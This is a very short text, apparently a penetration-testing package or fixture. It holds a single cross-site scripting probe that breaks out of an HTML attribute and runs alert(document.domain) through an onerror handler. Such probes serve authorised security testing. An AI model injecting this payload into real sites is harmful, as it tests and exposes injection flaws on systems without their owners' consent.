Test package for pentest
" onerror=alert(document.domain)